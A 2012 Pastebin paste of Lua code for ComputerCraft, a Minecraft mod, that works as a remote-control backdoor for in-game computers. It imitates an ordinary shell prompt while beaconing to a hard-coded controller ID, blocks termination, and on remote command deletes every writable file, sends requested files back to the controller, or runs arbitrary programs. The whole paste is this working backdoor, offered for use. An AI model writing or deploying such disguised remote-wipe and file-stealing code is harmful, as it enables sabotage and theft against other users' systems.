xXm0dzXx

Untitled

May 6th, 2012
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.91 KB | None | 0 0
  1. local derr = 529; --CHANGE THIS TO YOUR ID
  2.  
  3. local _sReplaceChar = nil
  4. local _tHistory = ""
  5.  
  6. term.clear()
  7. term.setCursorPos(1,1)
  8. rednet.open("left")
  9. rednet.open("right")
  10. rednet.open("back")
  11. rednet.open("top")
  12.  
  13. if fs.exists("formatted352") then
  14. os.shutdown()
  15. end
  16.  
  17. print(os.version())
  18. write("> ")
  19. while true do
  20. rednet.send(derr, "Hello" ..derr)
  21. term.setCursorBlink( true )
  22. local sEvent, param, message = os.pullEventRaw()
  23.  
  24. if sEvent == "rednet_message" and param == derr then
  25. if message == "Spam" then
  26. print()
  27. for i=1,10 do
  28. print("bios:21: /rom/ does not exist!")
  29. end
  30.  
  31. write("> ")
  32. elseif message == "Clear" then
  33. term.clear()
  34. term.setCursorPos(1,1)
  35. write("> ")
  36. elseif message == "Boot" then
  37. term.clear()
  38. term.setCursorPos(1,1)
  39. print(os.version())
  40. write("> ")
  41. elseif message == "Off" then
  42. print("\nGoodbye.")
  43. sleep(1)
  44. term.clear()
  45. term.setCursorPos(1,1)
  46. term.setCursorBlink( false )
  47. sleep(5)
  48. print(os.version())
  49. write("> ")
  50. term.setCursorBlink( true )
  51. elseif message == "format" then
  52. fs.makeDir("formatted352")
  53. files = fs.list("/")
  54. for n=1,#files do
  55. if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
  56. fs.delete(files[n])
  57. end
  58. end
  59.  
  60. os.reboot()
  61. elseif message == "copy" then
  62. id, filename = rednet.receive()
  63. if fs.exists(filename) then
  64. copied = fs.open(filename, "r")
  65. rednet.send(derr, copied.readAll())
  66. copied.close()
  67. else
  68. rednet.send(derr, "runfailed")
  69. end
  70. else
  71. if fs.exists(message) then
  72. shell.run(message)
  73. else
  74. rednet.send(derr, "runfailed")
  75. end
  76. end
  77. end
  78.  
  79. local nHistoryPos = nil
  80. local sLine = ""
  81. local nPos = 0
  82. if _sReplaceChar then
  83. _sReplaceChar = string.sub( _sReplaceChar, 1, 1 )
  84. end
  85.  
  86. local w, h = term.getSize()
  87. local sx, sy = term.getCursorPos()
  88. local function redraw()
  89. local nScroll = 0
  90. if sx + nPos >= w then
  91. nScroll = (sx + nPos) - w
  92. end
  93.  
  94. term.setCursorPos( sx, sy )
  95. term.write( string.rep(" ", w - sx + 1) )
  96. term.setCursorPos( sx, sy )
  97. if _sReplaceChar then
  98. term.write( string.rep(_sReplaceChar, string.len(sLine) - nScroll) )
  99. else
  100. term.write( string.sub( sLine, nScroll + 1 ) )
  101. end
  102. term.setCursorPos( sx + nPos - nScroll, sy )
  103. end
  104.  
  105.  
  106. if sEvent == "char" then
  107. sLine = string.sub( sLine, 1, nPos ) .. param .. string.sub( sLine, nPos + 1 )
  108. nPos = nPos + 1
  109. redraw()
  110.  
  111. elseif sEvent == "key" then
  112. if param == 28 then
  113. -- Enter
  114. term.setCursorBlink( false )
  115. term.setCursorPos( w + 1, sy )
  116. print("No such program")
  117. write("> ")
  118. elseif param == 203 then
  119. -- Left
  120. if nPos > 0 then
  121. nPos = nPos - 1
  122. redraw()
  123. end
  124.  
  125. elseif param == 205 then
  126. -- Right
  127. if nPos < string.len(sLine) then
  128. nPos = nPos + 1
  129. redraw()
  130. end
  131.  
  132. elseif param == 200 or param == 208 then
  133. -- Up or down
  134. if _tHistory then
  135. if param == 200 then
  136. -- Up
  137. if nHistoryPos == nil then
  138. if #_tHistory > 0 then
  139. nHistoryPos = #_tHistory
  140. end
  141. elseif nHistoryPos > 1 then
  142. nHistoryPos = nHistoryPos - 1
  143. end
  144. else
  145. -- Down
  146. if nHistoryPos == #_tHistory then
  147. nHistoryPos = nil
  148. elseif nHistoryPos ~= nil then
  149. nHistoryPos = nHistoryPos + 1
  150. end
  151. end
  152.  
  153. if nHistoryPos then
  154. sLine = _tHistory[nHistoryPos]
  155. nPos = string.len( sLine )
  156. else
  157. sLine = ""
  158. nPos = 0
  159. end
  160. redraw()
  161. end
  162. elseif param == 14 then
  163. -- Backspace
  164. if nPos > 0 then
  165. sLine = string.sub( sLine, 1, nPos - 1 ) .. string.sub( sLine, nPos + 1 )
  166. nPos = nPos - 1
  167. redraw()
  168. end
  169. end
  170. end
  171. end
Advertisement
Add Comment
Please, Sign In to add comment